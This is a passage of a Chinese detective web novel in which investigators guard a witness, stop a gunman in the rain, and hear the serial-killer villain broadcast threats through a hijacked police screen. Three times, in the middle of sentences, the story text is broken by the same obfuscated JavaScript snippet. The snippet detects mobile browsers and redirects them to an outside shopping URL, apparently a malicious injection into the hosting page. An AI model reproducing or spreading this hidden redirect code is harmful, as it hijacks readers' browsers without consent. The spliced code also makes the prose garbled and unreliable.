“别着急,推理以前没见过的模式总是需要一定时间和一定量的资料信息作基础参考,现在想不明白是正常的。” 听到她这么说,乔琅又仔细回忆一遍脑海中的视频内容,最后坚定了语气:“我认为我没看错,我每条监控都翻看了数十遍,确定没有身影一样的人,她们都是中途突然消失了。” “好,那大家之后都试着发散思维想想,有什么办法能瞒过所有人的眼睛离开,金蝉脱壳,连乔琅这样的火眼金睛都能骗过,”姜韫边说着,打开首都地图,“那么狙击手最后出现的地点在哪里?” “天泊区。” 燕逸岫目光移到天泊区,放大地图。 “藤景街。” 燕逸岫忽然眯起眼思索。 怎么好像记得哪里也出现过这个地名…… “水影公寓。” 熟悉的感觉越发强烈了。 姜韫最先反应过来,眉头紧皱:“等等,第十五起案子的目击者,就住在水影公寓。” 40. 一模一样的死者与凶手 早晨的阳光就又烫又刺眼,昨晚睡前忘拉窗帘的燕逸岫被热醒,爬起来一看,满床照得金光闪闪,自己就像一块烤肉横在板子上冒烟。 她睡眼惺忪探身把窗帘用力一扯拉得严实。 屋里瞬间黑暗,隔绝了光热,冷气这才悄然重新占据上风。 她倒回床上看了看时间,闭上眼。 “再睡十分钟……” 十分钟后,燕逸岫神清气爽起床洗漱,按照约定时间前往水影公寓附近,接替便衣警察继续监视201。 昨晚查到这一地点后,姜韫马上联系警方派两三个便衣到附近暗中监视。 19号日月可能是碰巧去了水影公寓,或者是去找其她人,又或者自己住在那儿,也可能她的目标正是康珽叶,又或许康珽叶也是反派一员,为了能参与调查掌握警方进度才假扮目击者。 目前暂时还无法确定康珽叶的真实底细,姜韫不打算直接与对方谈及这些,以免打草惊蛇。 况且,康珽叶是为数不多的还没去警局重做笔录的案件相关人员之一。 上上个月起,他就去了外地,归期未定。 警方一直联系不上康珽叶,便打电话向他父母了解情况,这才知道他旅游去了。 因为他游玩的地方多是偏僻之处,信号不稳定,很难联系上,所以父母都是等儿子主动打电话来。 燕逸岫设定好目的地出发,坐在车上思索,将各种可能在脑海里排了一遍又一遍。 如果康珽叶是反派的目标,那么日月出现在这里应该就是为了确认他是否回家,说不定还潜入其中安装了窃听器监视器。 她又想起反派与彭嵘通话时说的那几句,不禁怀疑反派可能打算把所有目击者赶尽杀绝,不让她们有任何机会重述证词给警方任何提示。 但好像也说不通。 已经到达目的地附近了,燕逸岫指挥车子移动,停在合适的角落,随后便走进水影公寓对面的早餐店买早饭,边回忆着案子边暗中盯紧204,有一勺没一勺地慢吞吞吃着烫嘴的白粥。 第十五件案子有些许诡异,时至今日还有不少人在讨论。 2月13日,康珽叶和朋友们聚会,在兴头上忍不住多喝了几瓶,有点醉醺醺的,他与朋友们道别后心血来潮决定抄小路回家,散散步醒神。 结果神没清醒,倒把路边的破纸箱当成沙发,跨坐进去倚着墙睡着了。 不知过了多久,康珽叶迷迷糊糊醒来,揉几下眼睛,脑子发懵时忽然听见不远处有窸窸窣窣的动静。 他环顾四周,探出身看到街对面的小巷口里有个人影在动。 黑影脱下长长外套,把它整齐折好放入脚边的袋子里,又从中摸出一样东西丢在路边。 铿锵清脆的声音跳动几下,似乎是刀砸在地面。 康珽叶这会儿才反应过来,这一带是帮派活动的地段,治安不好,打架斗殴事件频发,路过的狗都要挨揍。 康珽叶心想那大概是某个帮派成员,说不定巷子里还有更多。他担心被卷入什么麻烦事里受伤,便待在纸箱里一动不动。 那人很快就收拾完,离开巷子往外走。 朦胧月光披在街道上,黑影一步步往前,被灰蓝的冷光微微照亮。 康珽叶因此隐约看清了对方的发型和穿着打扮。 也就在这时,黑影似有感应,忽然停下脚步,慢慢偏头望向康珽叶所在的位置。 康珽叶暗吃一惊,心想这下完了,立刻埋头窝在角落不动,紧张得心脏狂跳。 过了好一会儿,他才鼓起勇气一点点抬起头,做好了对方已经站在自己跟前的心理准备,甚至连求饶的话都想好了。 但四周空荡荡的,人影已经消失不见,应该并没有发现他。 康珽叶心中大石头落地,这下酒也彻底醒了,爬起来飞快逃出这条街,三步一回头地跑回家。 原本寻思那只是帮派火拼,没什么大事,避开就好,直到第二天他在新闻中听到了昨晚自己经过的那条街名,看到了那个婴儿睡在子宫的符画,康珽叶才意识到当时究竟发生了什么。 他瞬间冷汗直冒,悚然凉意如刀片似的贴着自己皮肤滑过。 他看到的,居然是一直逍遥法外的连环杀人犯。 康珽叶腿都软了,马上打车前往警局,告诉警察自己昨晚所见。 然而听完他的描述,所有警员都满脸疑惑,面面相觑。 “我没骗你们,提供假证词我被雷劈好吗?”康珽叶急得在大冬天里冒汗,“我真的看到凶手身形了,是个红头发,穿着黑白条纹毛衣和宽松蓝牛仔裤的……” 他忽地止住话,因为他听到另一道声音重复着和他相同的内容。 警局里的电子屏幕上也播放着新闻,主持人一脸严肃地报导:“被害者染红发,身穿黑白条纹毛衣和宽松蓝牛仔裤,芯片被挖走,如有任何人能辨认死者身份,请尽快联系警方……” “你在什么时候看到凶手的?”其中一名警员出声询问。 “十一点五十五。”康珽叶回神后连忙回答,那时候他刚醒,下意识看了眼时间,而且聚会是十一点半结束的,时间绝对没错。 闻言,警员们神情更古怪。 “……怎么了?” 新闻中的主持人继续讲述案情,解开了他的疑问:“被害者死亡时间为十一点左右,若该时间段有民众……” 后面的话康珽叶已经听不清了,他缓慢瞪大双眼,感觉一阵头重脚轻。 这怎么可能。那他看到的是谁?难道是他酒还没醒出现幻觉了? “而且,”警察补充道,“被害者是在活着的时候被砍了头,脸部被浓硫酸腐蚀,五官全都被毁了。” 康珽叶觉得自己撞见鬼了。 他想起昨晚自己直愣愣跑回家,没有先找个别的地方暂时躲躲,说不定住址已经彻底暴露。 康珽叶越想越害怕,一来担心真是闹鬼,二来也怕被凶手盯上,于是他做完笔录后火速连夜搬家搬去了远离现场的水影公寓。 燕逸岫身临其境地想象当时的深夜场景,一个早就死亡并且身首异处的人完好无损出现在眼前,还朝自己藏身之处看。 她忍不住嘶了一声,摇摇头赶紧从幻想中脱离出来,心中发毛。 之后,她假扮地推宣传的员工,揣着一沓宣传单走进水影公寓里,把宣传单放在每一户人家窗边。 来到康珽叶所住的204门前时,燕逸岫背对着走廊,眉头动了动。 有一道目光落在自己身上。 她照常放下宣传单,趁机抬眼飞快往窗帘里瞄一秒,随后神色如常离开,走向205。 被注视的感觉很快就消失了。 燕逸岫把宣传单拍在窗台,抿唇扯了扯嘴角。 很轻松地试探出来了。这么看来,康珽叶确实是反派的目标,反派在等他回来。 可这么推测似乎也有些奇怪。以反派的能力,他当时肯定发现了藏在巷子里的康珽叶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734316|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有第一时间灭口,之后也始终没有下手,而是只长期暗中监视,不知道有什么目的。 分发完宣传单,燕逸岫离开公寓大楼,退回暗处盯梢,并拜托系统生成一份公寓对面大楼的立体透视图。 这一天平安平静,无事发生。 直到第三天也风平浪静,唯一不平静的就是下个不停的雨。 燕逸岫撑开伞进入雨中,避着地上深深浅浅的水坑小心地往前走,心想还好出门前06提醒天气不好,记得带上伞。 她打算趁黑灯瞎火去公寓对面的几栋楼前转一圈,配上系统提供的透视图来估测什么地方适合监视。 走到将近一半的路程,微系统弹出语音通话,燕逸岫接起廖怀霖的电话,听到她万分着急的声音:“逸岫,康珽叶回来了!” “啊?回、回来了?在哪里?” 廖怀霖也没想到情况会是这一走向。康珽叶返程没有乘坐飞机等大型交通工具,因此没有在网上留下任何预约购票记录。 她原本正忙着查鬼屋的线索,另一面开着康珽叶资产变动明细的屏幕突然跳到最前面,提醒她有更新。 最新消费记录显示康珽叶在天泊区藤景街某家商店买了面包等食物。 他就这么突然凭空出现在了这里,即将到家,进入反派方的视野。 时间紧急得让燕逸岫措手不及,她立刻掉头,收起伞加速狂奔回去,鞋底踏在积了水的地面,溅起一圈圈水珠。 远远地,她望见一道黑影出现在街角,被唯一的路灯照亮。 雨势颇大,那人背着登山包,右手拖着行李箱,左手撑伞。 穿街巷而过的风迅疾猛烈,携雨奔流,康珽叶带着一大堆东西顶风往前走,还要稳住伞不被吹翻,所以行动缓慢笨拙,根本没空关注周遭环境。 燕逸岫边跑边开启五感探知四周,想找出隐藏在暗处的监视者的位置。 但雨声实在太大,连她大步飞奔而重重踩水的噼噼啪啪声都被淹没其中。密雨如灰蒙蒙的帘子般遮在眼前,仍然使人无法看清黑暗中的前方。 燕逸岫抹去在脸上流淌的冰冷水渍,目光努力拨开帘幕分辨景物。 距离逐渐变近,她的视线终于锁定了另一个突然出现的人。 一个穿着深色雨衣的人从巷子中冒出,双手插兜,宽大帽子将侧脸遮得严严实实,无法分辨性别和五官特征。 那人低着头不疾不徐地走向康珽叶,举止自然,仿佛只是无关紧要的路人之一。 接着,那人从口袋中慢慢抽出一把枪。 见状,燕逸岫潦草估算一下速度,发现自己根本赶不上,恐怕还没来到暗杀者面前,康珽叶小命就已经交代出去了。 又一阵风从背后凶猛刮来,燕逸岫被推着继续往前跑。 她的位置是顺风方向。 燕逸岫意识到这点或许可以利用,便立刻打开伞抬臂将其横在半空中,找好大概位置后松了手。 急风灌入弯曲的伞面堆积其中,顶着它迅速往前飞。 不过砸下来的豆大雨点还是比她预测的更重,伞被压低,伞顶尖端没有如她所想那样刺中杀手的头,而是以较低的位置戳到对方的小臂。 不过能击中就算成功,杀手被半路杀出来的神秘雨伞吓了一跳,转头查看情况,拔枪的动作顿了一拍。 争取到片刻时间的燕逸岫迈开大步,借着地面湿滑的积水,以一个来势汹汹刹不住的滑铲漂移闪现到对方面前,将其用力撞倒。 41. 反派的挑衅:七月燃火与八月涤水…… 两人跌倒在水洼中,扭作一团翻滚几圈。 杀手穿着雨衣,沾湿面积不大,而燕逸岫几乎浑身湿透,头发裤子都紧紧贴在皮肤上。 “啊对不起对不起!”燕逸岫一脸惊慌歉疚,连忙松了手爬起来,趁乱多踩一脚,提高声音说道,“我的伞被吹飞了,我想追它结果滑倒了,对不起对不起你没事吧?” 几个路人好奇地瞧几眼,发现似乎没到需要叫救护车或警察的程度,便陆续收回目光走自己的路。 杀手先转头瞥向康珽叶,见对方凑热闹似的傻愣愣站在街道边往这儿看,还没离开,心中松了一口气,再转回头瞪了燕逸岫一眼。 他没时间和这个莽撞路人计较,只不耐烦地摆摆手示意燕逸岫赶紧滚,接着起身抖几下雨衣,继续往对面街道走。 他的手再次伸进口袋,却只摸到凉冰冰一兜水。 燕逸岫捡起伞,按住他的胳膊,继续大声追问:“真的没事吗?我还是陪你去医院检查一下吧?” 暗地里,她以身形遮挡,将上了膛的枪抵在他后腰,嘴唇几乎不动,声音很低:“别乱动。” 杀手瞬间僵在原地,回过神才哼笑,咬牙切齿:“你敢在大街上开枪?” “你都敢,我怎么不敢?你以为就你有办法逃走?” 燕逸岫又将枪口用力往前压,让他感受清楚威胁,随后带着他左转前行,离康珽叶越来越远。 “谁派你来的?” “这话该我问你才对。”燕逸岫扯着人拐进另一条小巷。 虽然行人不多,但终归是人,在大街上演戏还是让燕逸岫有些头皮发麻。进入荒凉无人的黑暗区域,燕逸岫才觉得彻底安心下来。 杀手见她居然不怕死地往偏僻处走,心中暗笑她大意愚蠢。 乖乖走了一会儿后,他找准时机立刻甩开束缚躲闪,转身攻击,成功趁其不备从她手中夺回枪,在她还来不及躲闪之时迅速扣动扳机。 预想之中的爆破声没有炸开,只有雨声持续灌入耳中。 杀手愣住,不信邪地又试了几次。 “你在找它们?”燕逸岫面无表情地张开手,露出掌心里的几枚子弹。 他呆滞的目光又移向对方。 什么时候……被卸下的…… 杀手恍惚一瞬,就见对方飘到自己眼前,他慌张后退,稳住神思后开始反击,几回合下来却根本碰不到对方,拳拳落空。 杀手咬紧牙关,心中越感不妙。 这人动作轻盈迅速得诡异,明明宽大衣服湿漉漉黏在身上,她的行动却丝毫不受阻碍,没有迟滞片刻。 苍白的脸,看不清五官,比夜色更黑的头发一绺绺黏在脸上脖子上,随着从天而降的雨不断滴淌水珠,像河海里的水鬼上岸来寻人索命。 燕逸岫攥着子弹的右手运足力道一拳砸向他的下巴,再次将他打倒在地。 “看你长相还觉得你应该挺老实,不用我太费心,”燕逸岫叹着气摇摇头,蹲下去捂住他的嘴,摸索到他的右手,“安静点不就少遭罪吗?” 她一下下择菜似的把对方的手指掰断,让他彻底丧失反抗攻击的力气。 大雨掩盖了痛苦的嘶喊,也遮住了屏幕另一头的视线。 “又是这特别的身手,又是她,”意味不明的笑从他嘴角呼出,“看来,不早早把你处理掉,说不准以后会给我添更多麻烦。” 想要杀掉敌人,就得先确定对方身份,摸清楚对方的习惯、特点、优势、弱点,但他现在连对方究竟是谁都不清楚。 有种说不上来的隐约熟悉,却怎么也找不出在哪看见过。 是某段监控里路过的人?是曾与自己在拥挤道路上擦肩而过的陌生人?还是某个被害者的家属朋友? 他把手中的包装袋捏得悉窣作响,用力到手指颤抖。 总有一天会知道的,说不定,在想明白前就已经找到机会把她杀掉了。 再特别又怎么样,最后赢的人只会是他。 “在为赢了而高兴吗?”被掰断手指的杀手声音虚弱,“愚蠢,你以为就我一个人埋伏吗?” 康珽叶费力拖着一堆东西进入电梯,卸下包袱后叹气,靠着电梯蹲下歇几秒,开始思考今晚就把买的礼物送去给父母还是等明天。 电梯门即将关闭时,一把伞突然穿刺进来挡住,电梯感应到后再次匀速打开。 有人来了,康珽叶连忙起身站好。 听到他的话,燕逸岫眯起眼:“还有另一个杀手?” “你在这跟我较劲的时间,她应该已经得手了,”杀手目露轻蔑,“你抓住我也没用,你保护不了他。” 燕逸岫也冲他笑,敷衍附和:“厉害厉害真厉害。” 见她半点不慌,杀手顿觉不安。 “我看是你先得意忘形了吧?”燕逸岫把人拎起来继续往前走,“你又为什么以为就我一个人在行动?” 电梯里的灯光倾泻出去,康珽叶看到一双明亮锐利的狭长眼睛从黑暗中显现。 消毒水与隐约的血味混在一块,一丝丝飘入电梯中。 “好久不见,康珽叶,”姜韫出示警察证,侧身示意他出来,“麻烦你随我去一趟警局。” 警局大厅悬浮的大屏幕上仍然播报着鬼屋案相关新闻。 燕逸岫在警局更衣室换了套衣服,胡乱擦干发间水渍后走出来,去小单间休息室找姜韫。 一进门燕逸岫就闻到了淡淡血腥味,难免担忧:“队长,你的伤还好吗?” “我没事,好全了,是对方的鼻血溅到我身上了。” 燕逸岫视线不由地瞄向姜韫的腰。 每每想起那时的恐怖伤口,她都仍觉庆幸,还好子弹没有打中要害,皮肉损伤恢复很快,不会留下太大影响。 如果刚来几天就失去队友,她恐怕短时间内不知道该怎么面对未来的一片迷雾。 审讯还没开始,警方正在向康珽叶解释重做笔录的原因,医护人员在为十指全断的杀手和另一个鼻青脸肿的杀手做基础的伤势处理。 外头忽然冒出一阵微小的骚动。 之前欧徽在审讯过程中中毒暴毙的情况让两人都有些心理阴影,听到动静后立马来到大厅查看情况。 警员和几个前来办事的民众正抬头往上望。 大屏幕上的影像突然崩坏,无法照常显示,里头传出的声音也断断续续,充斥杂音。 “是不是暴雨导致设备线路损坏了?”警员招呼同事找技术人员来检查维修。 燕逸岫莫名觉得不对劲,思索片刻后打开“宙”进行录音录像,又暗中启动了微系统,将屏蔽破解程序传送到大屏中运行。 技术人员火速跑来调试设备排查故障,在她的操作下,屏幕很快重归清晰,主持人播报新闻的画面恢复正常。 原来是自己疑神疑鬼想多了,燕逸岫肩膀放松下来,考虑要不要就把隐藏程序放在这里面不动得了,万一哪天就能派上用场。 “走吧,康珽叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737970|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笔录已经可以开始了。”姜韫看了眼时间,大步朝询问室走去。 “好。”燕逸岫小跑追上,不再管它。 然而就在这时,屏幕上的主持人不合常理地中断播报,温柔亲和的笑容逐渐往两边拉扯咧大,变得扭曲诡异。 几秒后她再度开口,声音变得却完全不同。 “新朋友们,别来无恙啊?” 变了声的声音难辨性别,莫名地让人汗毛竖起。 正要拐进走廊的姜韫猛地转头盯着那张脸。 燕逸岫也震惊不已,定住脚步,感觉到自己颈动脉的搏动骤然强烈,几乎快要冲破皮肤跳出来。 会用新朋友这一称呼的,只有反派。 “怎么不出声聊几句了?你们不是一直想听我亲自开口说话吗?” 姜韫使眼色示意警员将周围民众都带出去,远离这里,而她则一步步走回大厅中央,神色阴沉:“你居然主动出现了。” 屏幕对面的人叹了一口气:“现在你的队伍里似乎又增加了新队友,简直是如虎添翼,三番两次搅扰我的计划,说实话真是让我有些恼火了,我若再不出现,岂不是要被你们彻底看扁了?” “是吗,那你出现是想干什么?挑衅?” “算是吧,我对最近新出现的活跃在外面的朋友很好奇,她也在你旁边,是吧?这么有意思的人,你是怎么找到的?我有时候在想要是有一天能把她拉拢到我这儿就好了。” 姜韫冷笑:“你想得倒美。” “我也觉得很可惜,有趣的人居然都是敌对阵营,包括你。如果不能为我所用,反而会妨碍我完成计划,我也只好把你们都解决掉了。” “那要看你有没有这样的本事了。” “说起来你的伤好得很快啊,六天?七天?不知道下次你还有没有这样的好运气了。” “我也很好奇你的好运气还有多少。”姜韫平静地回答。 “礼拜”哈哈大笑,即使声音做了处理,还是能听出他语气里的兴奋:“我拭目以待,你们一个个,自以为是地上蹿下跳,得了几次手怕是都得意起来了,觉得真能把我怎么样。” “正好最近闲来无事,我决定陪你们好好玩玩,让你们认清现实。” 听到这句话,在场所有人都变了脸色,意识到接下来恐怕没有多少平静日子了。 那尾音微微上扬的慵懒声音在大厅里飘荡。 “七月,鲜血会滋养万物,燃起生命之火烧毁邪祟。” “八月,生命之水会恩泽大地,涤荡万千罪过,平息我的怒火。” “想阻止我,想抓到我,就让我看看你们的本事吧。” 说完后,屏幕上的主持人神色再次变化,逐渐变回了原本的模样,柔和声音拂过每个人耳畔:“接下来一周将持续降雨,请广大民众注意,不靠近河流……” 反派消失了。 姜韫深呼吸平复情绪,转头看向还沉浸在自己思绪里的燕逸岫,扬起浅笑拍拍她的肩:“做得很好。” 微系统里,廖怀霖已经将破解出的定位发到群里。 这次定位换地方了。 “天均区南部……”燕逸岫将地图快速放大,浏览这片区域的各条街道名,随后圈出几个眼熟的地点。 “首都第一医院在这里,石见微曾在这任院长。” “这里,是梁羲瑞住的地方。” “还有……”她的手指定在最后一个圆圈里,目光冷肃,“昆隐棋的家。” 42. 昆隐棋的别墅 正值下班高峰期,宋净泉打着伞穿过广场。 平日本就拥挤,雨天更是前行艰难,把伞举高或压低都会被碰来撞去,一串串水珠因此飞溅甩落,砸在自己或别人那本就沾湿的裤腿和鞋子上。 宋净泉心中烦躁加重,仍然来回翻看着“宙”上寥寥无几的信息,眉头始终没有松开。 “前几天鬼屋那个事件究竟是怎么回事啊?” 声音有些近,正神游的宋净泉被吓到,以为遇到某个朋友上前搭话,循声转头发现是走在自己身后几步远的两个女生在聊天。 “不知道,”另一人回答,“好几天了,警方也没公布具体情况,看起来估计是大案子。” “为什么会有人在鬼屋里挟持绑架,真奇怪……雨怎么又变大了,好烦啊。” “而且那么多人,没一个能发出信息求救,当时在现场附近的人检测过,信号很正常,警方后来进去也没发现任何屏蔽设备。” “肯定被胁迫了,这不是电视剧里常见的桥段嘛,拿家人朋友之类的威胁,逼受害者就范,有时候为了不让人起疑,还会让他联系家人报平安,伪造假象。” “嗯……但门上还安装了炸弹,不像打算隐瞒的样子。” “有人根据几个幸存者公开的自己在里面的经历总结了好几种推论,你有刷到吗?每种我都觉得好有道理,啧,有没有素质啊,大雨天跑什么?水全都溅我裙子上了,脏死了!” “别气别气,纸在这,快擦擦。” “本来上班就烦!” …… 宋净泉终于挤出广场,站在空旷的街道旁,顿觉周围的空气清冽了不少。 她盯着屏幕上对方的头像看,又深深呼吸几次,再睁开眼时,忧虑神色变得坚毅。 她切换画面,输入一直想打的号码拨通。 “您好,我想报案,我的朋友失踪很久了,我怀疑她被绑架挟持,希望警方能帮忙调查一下。” 宋净泉握紧伞柄,力道使得伞稍稍倾斜,积水汇聚一处流淌下来。 “我朋友的名字叫昆隐棋。” 燕逸岫推开窗户,清晰雨声随着雨飘洒进屋。 雨,通常被认为是生命之水。 七月将有一场火灾应该没错,那八月的生命之水是指雨吗? 对方拥有特殊的毒物,说不定是打算制造一场有毒的人工降雨? 燕逸岫伸出手去接雨,她望着躺在掌心的水珠,幻想如果这是带了毒的,她的手会变成什么样,会感受到多痛的痛。 警方内部讨论后决定暂时不将杀人预告公之于众。 在还没研究出对方具体行动方案的情况下,如此模糊不定的内容传播出去只会引起民众恐慌,惹出更多麻烦事来。 可短短两句,那么笼统的话,哪能知道多少线索。 反派扬言会在接下来两个月作案,是每个月只动手一次?还是多次?每个月目标只有一个?还是大规模无差别杀人? 八月的作案预告里,反派提到“涤荡万千罪过”,似乎是指会有很多人丧命。 一想象出尸山血海的地狱场景,燕逸岫就头痛欲裂,愁得快长白头发。 这是一场因为计划受阻碍而对她们展开的直白报复,反派根本没打算真提供什么信息让她们来得及挽救局面,只是想单方面打击碾压嘲笑她们。 疯子疯子疯子,到底是哪来的疯子! 燕逸岫重重叹气,关上窗走回客厅。 她打开闵蔚的笔录视频,准备把最近的线索重新梳理一遍。 鬼屋的店长闵蔚前几天本在外地出差,没排班的NPC员工疯狂给她打电话,告知鬼屋闹出绑架劫持案和人命,她万分吃惊,匆匆处理完手头的事务,安排清楚交给其她人对接,就赶忙飞回来接受调查和询问。 “你是怎么入职的?” “我刷到了这所鬼屋的招聘信息,说是想招一个有经验的店长全权管理,把这所名都没起的鬼屋办起来,正好我有经营的相关经验,而且老板开的工资也很不错,我就投了简历,最后成功入职了。” “面试有见到老板本人吗?” 闵蔚摇头:“没有,是个机器人hr面试我。” 原本她心里也有些没底,害怕被骗,但面试地点、流程都正规正常,确认试用后老板马上打了第一个月的工资和装修费,让她自己想好主题把鬼屋装修好开业。 鬼屋主题每半年一换,其它事务包括招聘NPC和其她部门职员等也都由店长自己管理决定,老板只负责打经费和发工资,从未出现。 目前的职场主题是六月初改换装修完新开放的。 “哦对了,老板说换主题的时候要提前报备,负责拆卸和重新装修的工作机器人都是老板指派,这项我不能自己来,应该是不信任别家的机器人吧,怕把房子弄坏了。” 这栋楼已经建了十年,原先是办公用的写字楼,一年半前被这位神秘老板盘下来建造鬼屋。 搜索后能得知,背后的老板是一个叫陈礼的人,肖像照和身份信息都齐全。 可再深入挖下去,就会发现找不到任何有关这个人的具体信息,把她的照片丢进大数据库里比对都查无此人。 这是完完全全的假身份。线索就此中断了。 廖怀霖说会想办法查下去,这两三天都泡在研究室忙碌,不忘继续测算和完善破解程序,争取今后能得到更精准的定位找出反派。 下一段视频是昨晚对康珽叶的询问。 被带回局里后,警察顾及他的心理状态,慢慢为他解释了发生的事情,告知他被凶手监视以及今天差点被杀的情况。 康珽叶坐在休息室缓了好一会儿才调整好情绪,打起精神接受询问。 其实他正是因为凶手仍然每月活跃而害怕得跑去外地旅游散心,否则他整宿整宿睡不着,脑子里都是无头的条纹毛衣死者站在自己面前的场景。 得知近期连环杀人犯越发猖狂,康珽叶也积极配合,仔仔细细把自己记得的事情都说出来。 不过和第一次叙述的内容大差不差,没有更多新线索。 “所以现在能确定我看见的那人是凶手假扮的吗?穿着死者同款衣服作案?还是说,真的是、是鬼魂幽灵?” 姜韫无奈摇摇头:“哪有什么鬼怪,如果你证词无误,那个人必然是案件相关人员。” “你搬家之后,有经历什么奇怪的事吗?” 康珽叶表示自己心理阴影有些重,寝食难安,除此之外一切正常,没感觉有什么不对劲的地方。 “再想想,再想想,多小的事情都可以说说。” 康珽叶皱眉思考了好一会儿,最后还是摇头,一脸歉疚:“对不起,真的想不到……” “没关系,如果之后有想到什么,随时和警方联系。” “明白了。” 视频到此为止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742122|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,康珽叶被姜韫带去走了证人保护的一系列确认流程,最后由警员护送回家。 燕逸岫又抽出第十五案的资料翻看尸体照片。 头被砍下,颈动脉被切断,尸体四周喷溅到大量血迹,几乎把灰白的墙涂成红墙。 根据康珽叶证词可知,凶手穿了外套防止沾染血迹,最后带走了外套,却留下凶器。 凶器是一把大砍刀,被随意地扔在街道旁,似乎是吸引路人进入小巷观赏自己的杰作。 尸体被凶手摆放成一个抱着自己的头蜷缩在地的姿势,画着作案标志图案的布黏在死者被浓硫酸腐蚀溃烂的脸上。 康珽叶辨认过尸体照片,极其肯定自己看到的就是这副打扮的人,他因为害怕被发现而低下头,没有看到对方的脸,但发型和头发长度确实都一模一样。 燕逸岫也想不明白。 她伸出手将屏幕上的照片来回转了几圈。 四周泼满了血,尸体以这一姿势位于中间,也很像窝在子宫里的婴儿。 又是在暗喻什么吗? 微系统提示音响起。燕逸岫点开系统发来的通话录音,听到一道女声讲述自己想要报案的情况。 “我朋友的名字叫昆隐棋。” 看来秦观秋和温簌的计划成功了。 有人报了案,警方和行动组成员就有正当理由光明正大地进入昆隐棋别墅搜查。 虽然反派这次被激怒,首次出现在大众视野里挑衅,但他从没派人对参与案件调查的警员下手,谨慎地与警方力量保持距离。 所以比起暗中独自潜入,混在警方队伍里搜索昆隐棋别墅是最稳妥的,一来不用在意昆隐棋自己设置的安保系统,二来不担心反派会不会趁机派人追杀。 反派肯定早已在昆隐棋家中安装了监视器等她回来,一旦警方进入别墅,所有行动反派都会看得一清二楚。 因此本次搜查只有1队成员参与,2队新成员避免长时间暴露在反派的视野中,以防被他研究出什么破绽来。 燕逸岫席地而坐,看着视频那头警员强行解锁,打开了别墅的门,关掉尖锐鸣响的警报系统。 虽然窗帘都拉开着,但阴雨天中的屋子还是暗沉沉的,冷寂得有几分令人发毛。 搜查人员分成几组,一层层寻找线索。姜韫、秦观秋和谭誉道也分头行动,各去一层。 姜韫和几个警员乘坐电梯来到她们负责的三楼。这里有小型会客厅、书房和办公室。 她先走向离自己最近的书房,小心地打开门。 几个月没人在,但仍有股浅淡的静神熏香残留其中。 一踏进去,第一眼就能看见桌上那株无人养护而早已枯死的腾云竹,本该是流云般漂亮的叶片如今枯黄卷皱,萎靡低垂,但叶子仍然全都挂在枝上,没有一片掉落。 盆栽旁边摆着两个相框。姜韫拿起来翻转到正面,看到凑在一块儿笑的一家三口。 一张相片上的昆隐棋是个少年模样,大约是十几岁时拍的。另一张的昆隐棋年纪更小,还是被家人抱在怀里的小孩。 姜韫拆下外框检查,发现孩童时期的那张照片背后写着一句话。 字迹工整,一笔一画非常笔直用力,明显是小孩子努力想把字写好。 “今天去看比赛,妈妈喜欢的队伍赢了,好开心,要是\\\\\\\了。” 后面的话被涂掉了,只留下一个个瞳孔般的黑洞。 43. 橘子与橘子树 要是……什么? 姜韫将照片拿近,又打开手电筒对着照,眯起眼试图分辨出来,但字迹被完完全全涂黑覆盖,力道很重,所以另一面也看不出是什么字。 一般来说,会用上这么谨慎的手法,说明是很重要的内容,绝对不能被别人看见。 姜韫将两张照片都收入证物袋中。 燕逸岫看着那两张全家福,算了算时间。自从昆隐棋父母去执行国家秘密研发项目到现在,两人已经消失五年了。 不过,昆隐棋至少知道她们是去做什么、为什么会离开,心中有底,比虞瓷的情况好多了。 之前她拜托廖怀霖查一下虞瓷和虞阿婆的底细,得知虞瓷的父母在她小时候就失踪了,至今杳无音讯。 这就解释了为什么虞阿婆家里没有四个人的合照,或许虞瓷主动自降等级到地下城长住正是因为先前得到了什么线索,所以才打算待在地下城寻找父母的踪迹。 闹钟响了,燕逸岫将思绪拉回当下,她回房间换上外出的衣服出了门,乘车来到天泊区西部的一处公墓,站在大门外的树边等人。 过了十几分钟,一众穿着黑衣服白衣服的人撑着黑伞陆续走出,三三两两低声交谈,有些人则仍在抽泣抹泪,互相扶着往前慢慢走。 随着人群分散各自离去,凝在她们四周的肃穆气氛也逐渐散去。 燕逸岫转着伞,静静注视着每一个人,直到想见的人出现在视野中。 对方也注意到了眼熟的人,有些惊讶地挑眉,思索片刻后转身朝她走来,隔着三步远的距离站定。 “好久不见?” “好像也没有很久,五天。”燕逸岫说道。 梁羲瑞笑眼弯弯:“对我来说感觉很久了,毕竟大仇得报,不再困于停滞沉重的仇恨里,时间就走得飞快。” “你换发型了。” 梁羲瑞原本的短卷发变得柔顺,直直垂在肩上,融进了黑色西装里。 